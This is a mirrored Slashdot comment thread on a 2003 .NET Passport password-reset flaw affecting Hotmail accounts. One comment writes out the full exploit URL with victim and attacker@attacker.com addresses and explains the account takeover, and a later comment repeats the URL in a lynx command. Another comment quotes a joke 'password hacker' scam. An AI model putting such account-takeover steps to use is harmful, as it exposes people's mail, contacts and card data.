Slashdot Mirror


Security Vulnerability in Microsoft .NET Passport

Stuart Moore writes "A vulnerability was reported in Microsoft .NET Passport, also affecting Hotmail user accounts. The simple flaw allows an attacker to change any person's password to an arbitrary value. The attacker can then gain access to the victim's accounts, as well as to the victim's personal information (if any is stored w/ Passport). Muhammad Faisal Rauf Danka posted a note to the Full-Disclosure security e-mail list after multiple unsuccessful attempts to contact Microsoft." There's a news report as well.

101 of 433 comments (clear)

  1. Remember... by stu_coates · · Score: 5, Funny

    Remember folks, this is Trustworthy Computing! ;-)

    1. Re:Remember... by Anonymous Coward · · Score: 5, Informative

      according to a dutch news site this hole was fixed shortly after the posting... So thats the way to talk to microsoft.....

      nu.nl for people knowing how to read dutch (no NOT german)..

    2. Re:Remember... by rf0 · · Score: 3, Funny

      I wouldn't trust them to feed my fish.

      Rus

    3. Re:Remember... by ctellefsen · · Score: 5, Insightful

      It's a good thing that (according to M$ ads) that the hacker is an endangered species, so that there is noone around to exploit this exploit.

      Current score: XBox is hacked, Passport is unsecure, SQL Server is beset by worms, and I won't even mention all the holes found over the years in IE and Outlook.

      Welcome to the age of untrustworthy computing...

    4. Re:Remember... by Gortbusters.org · · Score: 5, Funny

      That's one degree of difference with .NET!

      --
      --------
      Free your mind.
    5. Re:Remember... by m00nun1t · · Score: 4, Informative

      I fully agree this passport problem is a lame & unexcusable fault that should never, ever have happened.

      However, can you please stop dragging trustworthy computing into this? Bill Gates has said many times that the increased focus on security is for new products, not retrospectively fixing existing products.

      The only product that is really valid to criticise under the trustworthy computing tag is Windows Server 2003 - if that has big problems, then trustworthy computing has failed. But don't drag up old products/services.

    6. Re:Remember... by jkrise · · Score: 4, Funny

      " according to a dutch news site this hole was fixed shortly after the posting... "

      If sending 404 Page Not Found messages to users trying to update passwords can be called fixing, well, MS indeed fixed it.

      --
      If you keep throwing chairs, one day you'll break windows....
    7. Re:Remember... by beuges · · Score: 2, Insightful

      So does that mean they can get away with ignoring bugs in software that can expose personal details and credit card numbers to anyone?

      I think that if they were aware of the problem (and they were, apparently the finder mailed them 10 times), chose not to fix it, and some poor person had their credit card number exposed and abused, I think that Microsoft should be taken to the cleaners. Online security is something that must constantly be looked at, and maintained and updated. Its for their own good, really - if they don't fix it, they'll end up the dumbasses, cos people will lose their trust in the Passport system, and use other means for online transactions.

    8. Re:Remember... by mbourgon · · Score: 4, Funny

      MS has admitted that Trustworthy Computing has nothing to do with security. It's all about whether you trust Microsoft. Do you trust them enough to give them money? If so, they've met their goals.

      --
      "Sometimes a woman is a kind of religion, she can save your soul & set you free from all your sins" - Bad Examples
    9. Re:Remember... by frankthechicken · · Score: 2, Informative

      I don't know, this still seems to work.

    10. Re:Remember... by ConceptJunkie · · Score: 5, Insightful

      Why should Microsoft be "taken to the cleaners", when their EULA's state that any similarity between the software the sell and what they claim they are selling is purely coincidental.

      See Microsoft has this liability thing all sewn up. All they have to do is "Just trust us." and then in the fine print it says "But if we screw up, you can't hold us responsible."

      They want it both ways, and they seem to have gotten it.

      --
      You are in a maze of twisty little passages, all alike.
    11. Re:Remember... by ConceptJunkie · · Score: 4, Interesting

      But where's the public outrage?

      We on /. regularly vent our spleens (including me, and I'm a Microsoft user myself) about this blatantly bad situation, but Microsoft continues to prevail, and except for the occasional story, there really seems to be no negative impact on their business (much of which seems to be spinning their abysmal record in "trustworthiness").

      Hackers are only an endangered species because it hardly takes a hacker to break MS code these days.

      --
      You are in a maze of twisty little passages, all alike.
    12. Re:Remember... by Reziac · · Score: 3, Informative

      Not fixed -- per the articles (which, sadly, I did read) they just shut down the function that allows users to change their password.

      --
      ~REZ~ #43301. Who'd fake being me anyway?
    13. Re:Remember... by EvilTwinSkippy · · Score: 2, Insightful
      Hackers are only an endangered species because it hardly takes a hacker to break MS code these days.

      I think the theory is, that by having so much low-hanging fruit, M$ is hoping that the next generation of hackers will be as complacent as the present user base.

      Well, at least take the shine off of 0w#!n@ a system. It used to be a challenge. Now its just annoying.

      --
      "Learning is not compulsory... neither is survival."
      --Dr.W.Edwards Deming
  2. Oh my God (Mad scramble) by LookSharp · · Score: 5, Funny

    Ahhh! I have to go change my Passport profile and take out all those redit cards I added, and transport those top-secret, mission critical emails and documents I have sitting in my Hotmail account!

    Why did I trust Microsoft with all of my personal secrets? They've had such great security in the past... /obvious

    1. Re:Oh my God (Mad scramble) by Anonymous Coward · · Score: 5, Funny

      I have to go change my Passport profile and take out all those redit cards I added, and transport those top-secret, mission critical emails and documents I have sitting in my Hotmail account!

      Don't bother, I just did it for you.

    2. Re:Oh my God (Mad scramble) by twelveinchbrain · · Score: 2, Interesting

      I know you're being sarcastic, but if I'm not mistaken, MSN subscribers also sign in with Passport. This would mean that anyone who happened to use MSN as their ISP can have their personal information stolen. It's not so unreasonable for a person to expect their private, personal emails to remain private.

      --
      Not Found
      The requested URL /signature.html was not found on this server.
    3. Re:Oh my God (Mad scramble) by kharchenko · · Score: 2, Interesting

      I remember reading notes of some poor fellow who was involved in trying to get MS to fix some hotmail backdoor a while ago. Even though he wasn't in any way responsible for finding the hack, years on end he received e-mails like this:

      Dear Xxxx,
      It's terribly important for me to hack into an account of Yyyy !
      Please understand, she's my girlfriend, and I think she might be cheating on me.
      Please tell me how to do this ... please, please ...


      Now every time I read about another hotmail hack, I can't help but think how many ticklish revelations will happen today :)

  3. As lame as it sounds... by Anonymous Coward · · Score: 5, Funny

    ...This could be a good thing for me. Back in the day, I had a really cool hotmail address, but I neglected it for a while and completely forgot the password. Since all my info was fake, I couldn't request a new password. Off to steal my own account....

  4. 404 error by uberdood · · Score: 2, Informative

    Er, already fixed. I get a 404 error when I go there (with appropriate e-mail addresses).

    --
    "Population 1,656"
    1. Re:404 error by jlanng · · Score: 2, Insightful

      It returns an HTTP status of 404, so it is a proper 404

  5. Security flaw in Passport!!!! by grahamlee · · Score: 5, Funny

    In other news, the world is round, Bill Gates is rich, twice two is four, and the England cricket team haven't won anything.

    1. Re:Security flaw in Passport!!!! by jkrise · · Score: 2, Funny

      "the England cricket team haven't won anything"

      I thought they won a moral victory by not travelling to Zimbabwe... and a political victory by making Zim fly to England. Bad example?

      --
      If you keep throwing chairs, one day you'll break windows....
    2. Re:Security flaw in Passport!!!! by rifter · · Score: 3, Funny

      twice two is four

      It seems you are overdue for your appointment at miniluv, thought criminal!

  6. Oh no, not again... by girl_geek_antinomy · · Score: 5, Insightful

    The depressing thing is, it's such a simple exploit...

    Oh dear. When are people going to start *thinking* before they add usability features to web services willy-nilly...? Hopefully at least the fact that this is so high-profile will make others think hard about their own password-resetting systems.

    When I was working on an e-commerce site, I remember us all sitting around spending literally hours plotting out exactly what who would be able to do what with it. It's just commonsense, surely?

  7. A legitimate use? by Gleeb · · Score: 2, Informative

    Thank the lord for POP ;)

  8. The Microsoft Information Minster Says: by retards · · Score: 5, Funny

    We are secure! There are no security issues in our code. Truly. We shall beat Linux with our shoes and call it a donkey!

  9. now be fair by Joe+the+Lesser · · Score: 4, Funny

    unsuccessful attempts to contact Microsoft.

    It's not their fault Outlook kept crashing, right?

    --
    "I only speak the truth"
    Karma: null(Mostly affected by an unassigned variable)
  10. Ruh Roh Raggy by Ralph+Wiggam · · Score: 4, Funny

    Holy Crap!

    If someone were to break into my Hotmail account they would find out all the secret ways that I make my penis and breasts larger.

    With .NET, there's only one degree of seperation between me and evil crackers.

    -B

    1. Re:Ruh Roh Raggy by archen · · Score: 5, Funny

      If you have a penis AND breasts (and feel the need to enlarge them) you probably really do have a lot of secrets...

  11. good by Nevrar · · Score: 5, Funny

    "...the victim's accounts..."

    It's nice to see people are finally realising that Passport/Hotmail users are victims. ;)

    --
    Nevrar
  12. Oh no by Rik+Sweeney · · Score: 5, Funny

    A remote user can change an arbitrary target user's password to an arbitrary value and then access the target user's account

    But that spam is personal to me. It's not for anyone else.

  13. Can someone explain this? by jkrise · · Score: 5, Insightful

    "A vulnerability was reported in Microsoft .NET Passport, also affecting Hotmail user accounts. "

    I fail to u'stand what Microsoft .NET Passport means. I only know Hotmail said:
    In 1999: Login to Hotmail
    In 2000: Login to Passport
    2001 and later: Login to .Net

    Nobody seems to know what the hell .Net is all about (including MS). Visual Studio .Net is the only branded .Net product out there, and Hotmail is supposed to be on .Net, whatever that means.

    Is Passport or Passport.Net used by any other service except Hotmail? Terribly confusing.

    --
    If you keep throwing chairs, one day you'll break windows....
    1. Re:Can someone explain this? by Anonymous Coward · · Score: 5, Funny

      I believe that .NET was the cause of the .COM crash. The shit hit the fan around the same time. What a catalyst !

    2. Re:Can someone explain this? by Kredal · · Score: 2, Funny

      So if I start the .ORG service, can I kill the .NET system?

      So who wants to join the .ORG at my place next friday? (:

      --
      Whoever stated that signature sizes should be limited to one hundred and twenty characters can just go ahead and kiss my
    3. Re:Can someone explain this? by Schnapple · · Score: 2, Informative
      I'm going to use this opportunity to blatantly plug an article I wrote on this topic on what .NET is and what .NET isn't. And yes that's a Tripod link, so turn on your popup blockers.

      But the short answer to your question is that yes, the overkill of .NET branding has muddied and confused the perception of what .NET is. But hey, everyone in the world knows the name, so mission accomplished?

  14. Nice going, MS. by Renraku · · Score: 4, Interesting

    Too bad this was caused by a blatant underestimation of the power of curious users. If I had ever used the feature, I would have picked it up instantly.

    --
    Job? I don't have time to get a job! Who will sit around and bitch about being broke and unemployed then?
  15. Re:FUD by girl_geek_antinomy · · Score: 3, Insightful

    Instead if you're a legitimate user who's forgotten their password you're now f*cked. *sigh*. Nice to know things have improved then...

  16. Finally... by rf0 · · Score: 2, Funny

    All those l33t hax0r can now stop asking how to hack hotmail. The answers right here (if it wasn't 404'd)

    Rus

  17. Well, at least now I know... by johannesg · · Score: 5, Funny
    ...where I don't want to go today.

    Perhaps we can take this opportunity to kill all those spam accounts on hotmail. All we need to do is reset all the passwords to impossible strings...

  18. Really tough fix by alteridem · · Score: 2, Funny

    Sounds like a really tough fix... Delete the offending page... "There, see, its secure."

  19. This should encourage anti-DRM folks by hrbrmstr · · Score: 5, Insightful

    While most geeks take at least some "delight" in vulnerabilities (even outside M$ vulnerabilities), the fact that we keep seeing stupid programmer tricks from M$ employees should be a comforting factor to DRM detractors. Even if M$ manages to get DRM out there, how riddled with holes will it be? If it is constantly circumvented, does anyone think suppliers will use it (DMCA-type laws notwithstanding)?

    And with this being a web-"exploit", it makes the DRM-circumvention idea more interesting since all of the verification will be done online.

    Constant vulnerabilities == no real DRM.

    --
    Mind the gap...
    1. Re:This should encourage anti-DRM folks by Bob9113 · · Score: 4, Insightful

      Even if M$ manages to get DRM out there, how riddled with holes will it be?

      The problem is not whether it works - we all know that DRM is technically impossible (analog hole). The problem is that combined with the DMCA, DRM makes fair use illegal. If Passport were being used for copyright protection, it would be a federal crime to report this security vulnerability.

  20. Re:FUD by markov_chain · · Score: 3, Insightful

    Sure, *this one* is fixed, but it sure doesn't inspire confidence in the security of their service. Who knows if there are other holes left for crackers to exploit...

    --
    Tsunami -- You can't bring a good wave down!
  21. Jokes aside... by ParnBR · · Score: 5, Interesting

    Sooner or later they'll start blaming users for providing personal information, and excusing websites and companies from security flaws.

    --
    My neighbor's .sig is better than mine.
  22. Whoever has got... by archetypeone · · Score: 5, Funny

    victim@hotmail.com or attacker@attacker.com is going to be really pissed...

  23. What do people expect? by Anonymous Coward · · Score: 4, Interesting

    You expect security from a company with one of the worst track records in the industry? Ha!
    The problem with Microsoft (and the majority of other IT firms) is that there is no PROACTIVE auditing. I think that every company should conduct OpenBSD-style code audits before they release software. This would cut down dramatically on the number of incidents like this.

    1. Re:What do people expect? by PerryMason · · Score: 4, Insightful

      The problem with proactive auditing is that it takes time, and as well know, time is money. Personally I think its harsh to put the blame on the coders as I've been involved in alpha and beta testing quite a few apps over the years and almost without exception, the bean counters force the release of a product before the coders are happy with it.

      Typically the bean counters want the cash rolling in as soon as possible on a new product (as they've seen nothing but a cash outflow) and in the software industry, they know that bugs are both inevitable, and unfortunately, for the most part, accepted so they're happy to release an incomplete product knowing that it won't stop people buying it. We won't see substantially bug-free code until software developers are held to the same standards of product reliability that we see in just about every other industry. Until then, there really isn't any reason to thoroughly audit your code. Just release it buggy as all hell and release Service Packs and Hotfixes. It works for the biggest software company on earth, so why shouldn't it for anyone else?

      --
      "I'm tired of all this 'Aren't humanity great' bullshit. We're a virus with shoes" - Bill Hicks
  24. Flawed concept by YrWrstNtmr · · Score: 2, Insightful

    And eventually, we will see a similar exploit on Sun's Liberty system as well.

    The whole single sign on concept is flawed at present. Far too many potential holes, no matter what the tool, or who the builder.

    1. Re:Flawed concept by Zathrus · · Score: 3, Interesting

      And eventually, we will see a similar exploit on Sun's Liberty system as well.

      While we will undoubtably see exploits on any system large enough to atract interest, I don't think Sun would code something this brain-dead stupid.

      The industry standard is to ask for a passphrase when you forget your password. MS didn't even do this. I'm still wondering what junior level coder came up with this one though... I can't even express how stupid this is.

      The whole single sign on concept is flawed at present. Far too many potential holes, no matter what the tool, or who the builder.

      So we work to make it better... abandoning the concept entirely isn't going to happen. It's a worthwhile concept IMO, and while there's a lot of issues to be worked out that's not to say that they can't be. Most people would be willing to use a "strong" password if they only had to remember one. When you have to remember a dozen then forget it - the vast majority of people are going to use something like "password" or an easily guessable word from their personal life. Remembering "df783N:pa04uYG" and another dozen variants just isn't going to happen.

  25. Re:FUD by Anonymous Coward · · Score: 3, Insightful

    fixed? they disabled resetting of passwords... that is a quick hack to stop the bleeding, but it does not get around the real issue of poor design. is it that hard to acutall think about what kind of input can come ina query string, and what should be done with it? arent they supposed to be professionals? i learned about this in a CS course, and i couldnt help thinking, "duh, any sensible person wouldnt be that stupid..." obviously i was wrong.

  26. Re:FUD by CowboyBob500 · · Score: 5, Insightful

    Fixed does not mean simply 404ing the offending page. There are many legitimate users now who cannot change their passwords. This is a cheap hack while they work out what the fsck to do about the real problem.

    Bob

  27. Try stealing billgates@hotmail.com by jkrise · · Score: 2, Funny

    You could freak out with all his credit cards! Assuming he's got a good credit rating though :-(

    --
    If you keep throwing chairs, one day you'll break windows....
    1. Re:Try stealing billgates@hotmail.com by rf0 · · Score: 3, Funny

      or just go for abuse@hotmail.com.

      Rus

    2. Re:Try stealing billgates@hotmail.com by Anonymous Coward · · Score: 3, Funny

      That reminds me of the time I and a friend noticed a free mail provider that had forgotten to reserve certain interesting (to say the least) addresses.

      I got webmaster@... and I believe my friend got administrator@...

      I don't know if my friend got any mail, but I got a lot of interesting messages until I got bored and stopped checking it :-)

      Now, before any of you start bashing me for being irresponsible, I did try to help out the users who sent me mail. Mostly I just told them who to really contact.

      I did get carried away a couple of times though. Once I decided to reply to a spam complaint and thanked them for the nice porn links they forwarded to me. They never responded, funny thing.

      (this posted anonymously for obvious reasons)

  28. How do you contact Microsoft? by Albanach · · Score: 5, Interesting
    This raises an interesting question about how, exactly, you are supposed to notify Microsoft by email.

    Microsoft make an interesting interpretation of RFCs by accepting all mail to postmaster@ but only insofar as to send an automatic response saying your message will not be read.

    This guy also says he tried to email them ten times and never got further than automagic autoreplies. Do they actually have a procedure to inform them when things are broken?

    1. Re:How do you contact Microsoft? by Anonymous Coward · · Score: 2, Informative

      Yes, it's called posting on slashdot, silly!

    2. Re:How do you contact Microsoft? by PerryMason · · Score: 4, Funny

      Do they actually have a procedure to inform them when things are broken?

      As far as i'm aware, they have a guy who just keeps clicking reload on the /. front page waiting for a new MS vulnerability story to pop up. They tried the same thing with Bugtraq but there were just way too many vulnerabilities for the poor guy to keep up.

      --
      "I'm tired of all this 'Aren't humanity great' bullshit. We're a virus with shoes" - Bill Hicks
    3. Re:How do you contact Microsoft? by Quixote · · Score: 2, Informative
      I don't know about you guys, but I just got this from my buddy Steve Ballmer today:

      From SteveBallmer@ceo.microsoft.com Thu May 08 01:26:33 2003
      Return-Path: <SteveBallmer@ceo.microsoft.com>
      Delivered-To: unknown@somewhere.com
      Received: (qmail 8935 invoked from network); 8 May 2003 01:26:32 -0000
      Received: from unknown (HELO delivery.pens.microsoft.com) (207.46.248.68)
      by xxxxxxxxxxxx with SMTP; 8 May 2003 01:26:12 -0000
      Received: from TK2MSFTDDSQ04 ([10.40.1.68]) by delivery.pens.microsoft.com with
      Microsoft SMTPSVC(5.0.2195.5600);
      Wed, 7 May 2003 18:21:11 -0700
      Reply-To: "Steve Ballmer" <GUID-DELETED-@ceo.microsoft.com>
      From: "Steve Ballmer" <SteveBallmer@ceo.microsoft.com>
      To: <unknown@somewhere.com>
      Subject: Rights Management: Enabling New Opportunities for Customers
      Date: Wed, 7 May 2003 18:24:10 -0700
      Message-ID: <37337373373733737337xxxx@phx.gbl>
      MIME-Versio n: 1.0
      Content-Type: text/plain;
      charset="iso-8859-1"
      Content-Transfer-Encoding: quoted-printable
      X-Mailer: Microsoft CDO for Windows 2000
      ontent-Class: urn:content-classes:message
      X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300
      Return-Path: SteveBallmer@ceo.microsoft.com
      X-OriginalArrivalT ime: 08 May 2003 01:20:07.0109 (UTC)
      FILETIME=[DEADBEEF:3MTA3]
      Status: RO
      Content-Length: 11377
      Lines: 206

      May 7, 2003

      I'm writing to you today about a set of emerging technologies that hold great
      promise for enhancing privacy and enabling important new uses for computers and other digital devices. Before I share my thoughts about this in more detail, I want to explain why you're receiving this email.

      So, in case you guys need to contact Steve, you have his email address now!

  29. The Damage Has Been Done by TubeSteak · · Score: 5, Insightful
    "Passport accounts are central repositories for a a person's online data and can include personal information such as birthdays and credit card numbers as well as acting as the single key for the customer's online accounts."

    Its kindof important to remember that this exploit has been out in the wild for a loooooong time. I can imagine Danka is going to have a lot of pissed of h4x0rs who are going to want their exploit back.

    ~would this be the prime example of a security hole being called a feature?~

    --
    [Fuck Beta]
    o0t!
    1. Re:The Damage Has Been Done by Anonymous+Struct · · Score: 2, Interesting

      Not to mention the real damage -- solid evidence that no matter how many assurances Microsoft gives you that your data is safe and they've taken all precautions, you simply cannot trust them with important personal data. How many times does your bank have to 'whoops' a $1500 deposit before you decide that it's just not acceptable to do business with them? Once is usually enough.

      Having your website defaced is one thing, and having a day-long network headache because of the most recent worm is one thing, but losing sensitive personal data is quite another. Based on their track record, Microsoft is simply not qualified to step into the role of holding and protecting important personal information, and this exploit makes that abundantly clear.

      To be fair, maybe nobody is qualified to step into that role right now, but Microsoft's release-now fix-later approach to software development has no place in an environment where there's so much at stake.

  30. Re: Procedure to inform them it's broken. by zakezuke · · Score: 5, Interesting

    There is an outlined procedure for this sorta thing...

    In the event a user discovers an exploit, inform user to reboot machine and it will go away.

    But seriously, there seems to be no OFFICIAL way for end users to actually contact microsoft, nor any sorta automated system to rank e-mails based on importance, nor any human within the phone network who actually knows who to talk to. People who i've known that worked there also have no clue as far as who to talk to, and admit this if you're lucky. If you are unlucky, just say it's a vender issue without thinking the vender is Microsoft.

    --
    There is no sanctuary. There is no sanctuary. SHUT UP! There is no shut up. There is no shut up.
  31. thoughts by unborracho · · Score: 2, Interesting

    Since the report wasn't very descriptive, I was hoping someone could enlighten me. I would assume that since they don't ask you to provide your old password to change it, this is a method for users who forgot their old password to get it reset to some random password that Microsoft gave, and have it sent to an email that the user provided from the website.

    So couldn't Microsoft simply fix this by having the email sent to the person's email address they provided when they registered with .NET? (assuming it's non-hotmail)

    --
    "You had this look that of an angel, it was such a bad disguise" --Dishwalla
    1. Re:thoughts by Kredal · · Score: 5, Informative

      since it's been 404'd, I'll provide it here.

      If you went to:

      https://register.passport.net/emailpwdreset.srf? lc =1033&em=victim@hotmail.com&id=&cb=&prefem=attacke r@attacker.com&rst=1

      and replaced the victim address to a real user, and the attacker@attacker.com to your address, they would send you an email telling you to click on another link, and you could set your own password. Wala, you now have rights to that hotmail account so you can read their mail, look at their buddy list, safely spam people, buy stuff (if they have their credit card saved), etc etc etc... Real fun stuff.

      --
      Whoever stated that signature sizes should be limited to one hundred and twenty characters can just go ahead and kiss my
  32. 404 by Richard_J_M · · Score: 2, Informative

    The vulnerability seems to return a 404 - so it seems hotmail have taken notice after all - even though it took a /. to make them notice.

  33. Add one to the pile by Ashyukun · · Score: 5, Funny

    Yet another reason to be glad I ditched my Hotmail account and refuse to use Passport after Hotmail 'politely' informed me that my last name (the one I was born with) violated their offensive language filter and asked me to change my last name.

    1. Re:Add one to the pile by FauxPasIII · · Score: 3, Funny

      I think I speak for everyone here when I ask... What's your last name ?!

      --
      25% Funny, 25% Insightful, 25% Informative, 25% Troll
    2. Re:Add one to the pile by dubstop · · Score: 5, Funny

      That's how it starts.

      In fifty years time, when Microsoft are in charge of the planet, they won't be asking you to change your last name, they'll be telling you that they've already changed your entire name to a 256-character, globally unique identifier. For your convenience, of course, and at a very reasonable fee of M$50 (MicroSerfian dollaroonies), which, again for your convenience, they've already deducted from your (compulsory) Bank of Microsoft account. As a result of this unexpected deduction, your account will go M$1 overdrawn, and this will mean that they are entitled to immediate vacant possession of your home. When you query this, it will be pointed out that this entitlement was clearly detailed in 2-point font, on page 437 (that's about one-third of the way in) of the click-through agreement that you read, understood, and click-through-agreed to when opening your (compulsory) Bank of Microsoft account. At the time that this is pointed out, your attention will be drawn to the clause on page 442 that they are also entitled to one of every major organ that you have two of. This includes (but is not limited to) your lungs, kidneys and, at the discretion of the Microsoft legal department (formerly known as the US Department of Justice), your testicles. They will gladly help you to pay for the operation to remove these organs, by the extension of a small loan, repayable in 7200 monthly payments that, for your convenience, will exactly match your monthly salary. You will be responsible for the shipping of at least two of your children to the secure holding facility at Redmond, where they will be held as collateral for the duration of the loan.

      Where do you want to go today?

    3. Re:Add one to the pile by pcardoso · · Score: 3, Funny

      funny... I just had the same problem while registering an hotmail account for my girlfriend to use, so we could IM each other... most of our contacts are MSN addresses, so Windows Messenger was the best choice. I don't like that much, but what the hell! Gaim has no problems with that..

      Back to the topic, her name is Ana Luisa and guess what happens when you concatenate her first two names together! It was getting on my nerves to receive a error message because of some issue with the username (but not an existing username, oddly)... It was only after a lot of attempts that I noticed the first 4 chars of the username... Added a underscore and it was all ok...

  34. RTFA by Anonymous Coward · · Score: 2, Informative

    secure@microsoft.com

  35. I agree completely. by @madeus · · Score: 5, Insightful

    I agree completely.

    I spent a year on contract developing a product, web based (on Unix), which allowed users and managers spend budgets as allocated by management in real time and I spent 3 doing just planning and develping the auth system (as it has company/office/team/user levels (user@team.office.company for the username) it was addmittedly a little more complex than your average auth system).

    In the end the system has a really solid auth system everything is authenticated and when you try and actually make a transaction there is a multi tiered system that checks budget approval at user, office, team and company level.

    It required mind numbing discussions again and again to get it done but it was resolved in the end. I'm glad the projects over though, repeately explaining why it was nesseary to take a long and stable and secure approach (rather than a quick hack approach) to non technical people is very draining (their simple approach, though the wouldn't admit it if you asked them, was actually 'hack it together as quickly as possible', which is what a lot of competitors had done, which is why they had such poor systems, which is why this company was started).

    I utterly, utterly dispair when I see cgi scripts that don't have a decent authentication mechanisim. With rare exception (along the lines of everybody makes mistakes) it's just incompotence, there are simply people out there who really should not design or impliment systems or write software (even CGI's).

    I am a big fan of the slow, methodical, planned, discussed and documented approach to development.

    The previous exploits for hotmail were poor, but I recall that at least of one of them was due to an error error that I can empathise with to some extent (it wasn't as blatant), but I am stunned at the level of ineptitude shown by this particular exploit, but I know the same stupid mistakes are repeated all over the place...

  36. Funny stuff by Anonymous Coward · · Score: 2, Funny

    From the passport.net page, in a big green box, under the title "SECURITY", it reads:

    Sign in on any computer that has Internet access. .NET Passport uses powerful online security technology and follows a comprehensive privacy policy to help protect your profile information. You manage your information-sharing options.

  37. Re:FUD by aug24 · · Score: 2, Redundant
    Let's start with the observation that it isn't fixed. All they've done is turn off the password change routines at the back end...!

    Personally I suggest everyone reading this makes sure to tell everyone they know, in order to stop people blindly trusting any incompetents. The fact that it's MS just makes the schadenfreude better.

    Justin.

    --
    You're only jealous cos the little penguins are talking to me.
  38. Re:FUD by CrazyJ020 · · Score: 2, Interesting

    This security vulnerability, and the accompanying quick fix, seem to actually enforce Microsoft's touted concept of centralized computing and services.

    Think about it, with a company like Microsoft, there is no doubt vulnerabilities will exist. If this was a distributed product we would still have script kiddies years from now drilling on this exploit. Now that it is a centralized service, it has been fixed in one place before any substantial damage has been done. -- Which evil do you want today?

  39. MS-Passport and those that cannot/willnot read by SgtChaireBourne · · Score: 5, Informative
    MS-Passport has long been known to be impossible to secure, even in theory: See Risks of the Passport Single Signon Protocol. Even the FTC charged Microsoft with deceptive advertising in regards to MS-Passport. Other governments are not getting caught with their mouth open either. Standards body forced Redmond to pull 'unsubstantiated and misleading' advertisement

    There really does seem to be no difference between someone who cannot read and someone who does not. Those that can read wouldn't be caught using MS-Passport. Sadly, signal can be drowned out by noise coming from a colossal marketing blitz to last through september.

    We'll see if they last that long. Windows2003 seems to be more of a push to get users over to OS X or Linux. Their other (2nd of 2) cash cow, the new MS-Office has already been postponed and seems to be more of an incentive to move to OpenOffice than to upgrade.

    --
    Beta is broken and the link to classic doesn't work. Stop wasting our time or there won't be anybody left here.
  40. This is not new by johnatjohnytech · · Score: 5, Informative

    This is not a new thing, this has been around for a while.

    It is about time somebody tried to bring this to light. But i really doubt he "discovered" something that has been known about for a while.

    Don't believe me? Do a search on kazaa for hotmail passwords. You will find several txt/doc's with these or similiar instructions.

  41. What breed of idiot are you? by gazbo · · Score: 5, Informative
    So it isn't a standard IIS 404. That is wrong how? Let me put it another way:
    lynx -head -source --mime-header 'https://register.passport.net/emailpwdreset.srf?l c=1033&em=victim@hotmail.com&id=&cb=&prefem=attack er@attacker.com&rst=1'

    HTTP/1.1 404 Not Found
    Server: Microsoft-IIS/5.0
    Date: Thu, 08 May 2003 13:10:14 GMT
    PPServer: H: LAWPPREGU4A002
    It's a 404. It returns a 404 code. It says it's a 404 on the page. Just because you understand so little of the HTTP protocol to think that 404 means "displays apache logo" doesn't make MS wrong.
    1. Re:What breed of idiot are you? by Dark+Lord+Seth · · Score: 2, Funny
      lynx -head -source --mime-header 'https://register.passport.net/emailpwdreset.srf?l c=1033&em=victim@hotmail.com&id=&cb=&prefem=attack er@attacker.com&rst=1'

      HTTP/1.1 404 Not Found
      Server: Apache/2.0.43 (Unix)
      Date: Thu, 08 May 2003 13:10:14 GMT
      PPServer: H: LAWPPREGU4A002

      This would be allot more fun to see though...

  42. Re: Procedure to inform them it's broken. by Zak3056 · · Score: 4, Interesting

    But seriously, there seems to be no OFFICIAL way for end users to actually contact microsoft, nor any sorta automated system to rank e-mails based on importance, nor any human within the phone network who actually knows who to talk to.

    Tell me about it. When IE5 first came out (with the modular installer) the installer had a nasty bug: If the FTP site it tried to connect to to download a CAB was full, it would create the CAB file which would contain no data, only the error message!

    As one might expect, this would cause the installation to bomb, and no explanation would be given to the user. Attempting to resume the installation would also fail. The solution was, of course, to go into the installer's temp directory and delete the bad CAB files and re-download them, but most users wouldn't know where to find them, and would be forced to start from scratch.

    When I attempted to contact Microsoft about the problem, they asked me for a credit card number. When I explained I didn't want support and was trying to report a bug, I was transferred to someone else who... asked me for a credit card number. Wash, rinse, repeat.

    --
    What part of "shall not be infringed" is so hard to understand?
  43. Re:FUD by gazbo · · Score: 2, Interesting
    If you read the news article, it says that although he sent several emails, not one was sent to security@microsoft.com - the advertised place to send them.

    He sent them to, amongst others, abuse@hotmail.com. This is the place that they will get mails from everyone complaining about a spammer etc - it's like receiving the wrong order from Amazon and sending an email to hostmaster@amazon.com, then flaming them for taking so long to respond.

  44. MS announcement by fudgefactor7 · · Score: 2, Informative

    Passport Security Issue. MS was listening, Muhammad Faisal Rauf was just too impatient. Probably just wanted credit as being "kewl," or something.

    1. Re:MS announcement by tazan · · Score: 2

      Wrong. They only responded to him posting the exploit, not to the original emails.

    2. Re:MS announcement by merchant_x · · Score: 2, Insightful

      So what's the correct address to report bugs to Microsoft? As you can see from this thread of posts several slashdotters are in the dark about this.
      http://slashdot.org/comments.pl?sid=63519&c id=5909258
      Please enlighten us.

  45. Re:FUD by mulhall · · Score: 2, Funny

    You seem to be under the the impression that legitimate users actually change their passwords - what planet are you living on?!

  46. Re:FUD by Exedore · · Score: 4, Funny

    Mechanic: We fixed your brakes... they no longer make that awful screeching sound.
    Me: Thanks. How did you fix them?
    Mechanic: We removed the brakes entirely
    Me: What the...
    Mechanic: That will be $567.98, please.

    --

    I take drugs seriously.

  47. Re:Oh my God (MS explains it all..) by jkrise · · Score: 4, Funny

    It seems that all Passport Update Services have been disabled, owing to millions of user complaints about spam! All mail accounts will need to be checked manually for spam. (all software MS Junk mail filters etc. have been junked already).

    Of course, this means that Full Control of user accounts is needed. The process of manually cheking every single mail account for spam is underway. When all the billion accounts are checked and spam deleted, Passport .Net will be re-activated.

    This is the beginning of the Passport Update Synchronized Service Year (PUSSY) efforts. Thanks for your attention.

    --
    If you keep throwing chairs, one day you'll break windows....
  48. Another Hotmail Password Hack found on Kazaa by doublem · · Score: 5, Funny

    Hotmail password hacker.doc

    THIS IS HOW TO HACK ANYONE'S HOTMAIL PASSWORD

    Step 1:
    send a mail to Robot_pass_finder@hotmail.com with PW: fetchpass in the subject line

    Step 2: The email body
    In the first line: put the complete email address of the user whose password you want.

    In the 5th line, type the email address and the login (pass) you want the password sent to,
    here is an exemple:

    To: Robot_pass_finder@hotmail.com
    Subject: PW: fetchpass
    CC.________________ BCC.___________________
    =-email body-=

    address@hotmail.com

    your email adress here example.: myemail@hotmail.com
    your pass here example.: mypassword

    --
    "Live Free or Die." Don't like it? Then keep out of the USA
  49. The problem with global accounts like Passport by Jugalator · · Score: 2, Funny

    One Company to rule them all
    One Hacker to find them
    One Exploit to bring them all
    to the attacker's power

    --
    Beware: In C++, your friends can see your privates!
  50. My company used incrementing session keys. by Moderation+abuser · · Score: 2, Interesting

    On a web page which managed HR information, so you could log in, check the session key in the URL and then simply scan through nearby numbers to find and update all sorts of things about other logged in people.

    'Twas a highly expensive piece of software as well...

    --
